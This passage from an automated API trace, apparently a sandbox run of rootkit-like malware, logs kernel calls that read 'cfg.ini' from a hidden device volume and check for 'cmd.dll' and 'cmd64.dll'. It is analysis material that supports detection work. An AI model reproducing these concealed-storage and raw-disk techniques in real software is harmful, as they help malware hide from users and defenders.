VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.054] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.054] IdePortDispatch () returned 0x103 [0126.054] KeWaitForMutexObject () returned 0x0 [0126.054] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.054] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.055] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.055] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.055] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.055] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037deee0 [0126.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.055] KeLeaveCriticalRegion () [0126.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.055] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.055] KeEnterCriticalRegion () [0126.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.055] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.055] KeLeaveCriticalRegion () [0126.055] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.055] KeEnterCriticalRegion () [0126.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.055] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.055] IdePortDispatch () returned 0x103 [0126.055] KeWaitForMutexObject () returned 0x0 [0126.055] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.055] KeLeaveCriticalRegion () [0126.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.055] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.055] KeEnterCriticalRegion () [0126.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.055] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de7000 [0126.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.056] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.056] IdePortDispatch () returned 0x103 [0126.056] KeWaitForMutexObject () returned 0x0 [0126.056] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.056] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.056] IdePortDispatch () returned 0x103 [0126.056] KeWaitForMutexObject () returned 0x0 [0126.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.056] KeLeaveCriticalRegion () [0126.056] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.056] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.057] KeEnterCriticalRegion () [0126.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.057] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.057] KeLeaveCriticalRegion () [0126.057] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.057] KeEnterCriticalRegion () [0126.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.057] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.057] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.057] KeLeaveCriticalRegion () [0126.057] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.057] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.057] KeEnterCriticalRegion () [0126.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.057] ExFreePoolWithTag (P=0xfffffa80037deee0, Tag=0x0) [0126.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.057] KeLeaveCriticalRegion () [0126.057] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.057] ReleaseMutex (hMutex=0xf0) returned 1 [0126.057] Sleep (dwMilliseconds=0x124f80) [0126.059] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.067] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.067] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.068] KeEnterCriticalRegion () [0126.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.068] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.068] IdePortDispatch () returned 0x103 [0126.068] KeWaitForMutexObject () returned 0x0 [0126.068] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.068] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.068] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.068] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.068] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.068] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac96a0 [0126.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.068] KeLeaveCriticalRegion () [0126.068] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.068] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.068] KeEnterCriticalRegion () [0126.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.068] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.068] KeLeaveCriticalRegion () [0126.068] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.068] KeEnterCriticalRegion () [0126.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.068] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.068] IdePortDispatch () returned 0x103 [0126.068] KeWaitForMutexObject () returned 0x0 [0126.069] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.069] KeLeaveCriticalRegion () [0126.069] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.069] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.069] KeEnterCriticalRegion () [0126.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.069] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfb000 [0126.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.069] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.069] IdePortDispatch () returned 0x103 [0126.069] KeWaitForMutexObject () returned 0x0 [0126.069] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.069] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.069] IdePortDispatch () returned 0x103 [0126.069] KeWaitForMutexObject () returned 0x0 [0126.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.069] KeLeaveCriticalRegion () [0126.069] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.070] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.070] KeEnterCriticalRegion () [0126.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.070] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.070] KeLeaveCriticalRegion () [0126.070] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.070] KeEnterCriticalRegion () [0126.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.070] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.070] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.070] KeLeaveCriticalRegion () [0126.070] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.070] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.070] KeEnterCriticalRegion () [0126.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.070] ExFreePoolWithTag (P=0xfffffa8003ac96a0, Tag=0x0) [0126.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.070] KeLeaveCriticalRegion () [0126.070] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.070] ReleaseMutex (hMutex=0xf0) returned 1 [0126.070] Sleep (dwMilliseconds=0x124f80) [0126.081] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.081] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.081] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.081] KeEnterCriticalRegion () [0126.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.081] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.081] IdePortDispatch () returned 0x103 [0126.081] KeWaitForMutexObject () returned 0x0 [0126.081] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.081] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.081] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.081] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.081] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.081] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b79140 [0126.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.081] KeLeaveCriticalRegion () [0126.082] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.082] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.082] KeEnterCriticalRegion () [0126.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.082] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.082] KeLeaveCriticalRegion () [0126.082] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.082] KeEnterCriticalRegion () [0126.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.082] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.082] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.082] IdePortDispatch () returned 0x103 [0126.082] KeWaitForMutexObject () returned 0x0 [0126.082] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.082] KeLeaveCriticalRegion () [0126.082] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.082] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.082] KeEnterCriticalRegion () [0126.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.082] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dff000 [0126.082] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.082] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.082] IdePortDispatch () returned 0x103 [0126.082] KeWaitForMutexObject () returned 0x0 [0126.083] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.083] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.083] IdePortDispatch () returned 0x103 [0126.083] KeWaitForMutexObject () returned 0x0 [0126.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.083] KeLeaveCriticalRegion () [0126.083] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.083] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.083] KeEnterCriticalRegion () [0126.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.083] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.083] KeLeaveCriticalRegion () [0126.083] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.083] KeEnterCriticalRegion () [0126.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.083] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.084] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.084] KeLeaveCriticalRegion () [0126.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.084] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.084] KeEnterCriticalRegion () [0126.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.084] ExFreePoolWithTag (P=0xfffffa8003b79140, Tag=0x0) [0126.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.084] KeLeaveCriticalRegion () [0126.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.084] ReleaseMutex (hMutex=0xf0) returned 1 [0126.084] Sleep (dwMilliseconds=0x124f80) [0126.098] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.098] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.098] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.098] KeEnterCriticalRegion () [0126.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.098] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.098] IdePortDispatch () returned 0x103 [0126.098] KeWaitForMutexObject () returned 0x0 [0126.098] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.098] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.098] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.098] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.098] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.098] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da280 [0126.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.098] KeLeaveCriticalRegion () [0126.098] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.098] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.098] KeEnterCriticalRegion () [0126.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.098] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.098] KeLeaveCriticalRegion () [0126.098] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.098] KeEnterCriticalRegion () [0126.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.098] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.099] IdePortDispatch () returned 0x103 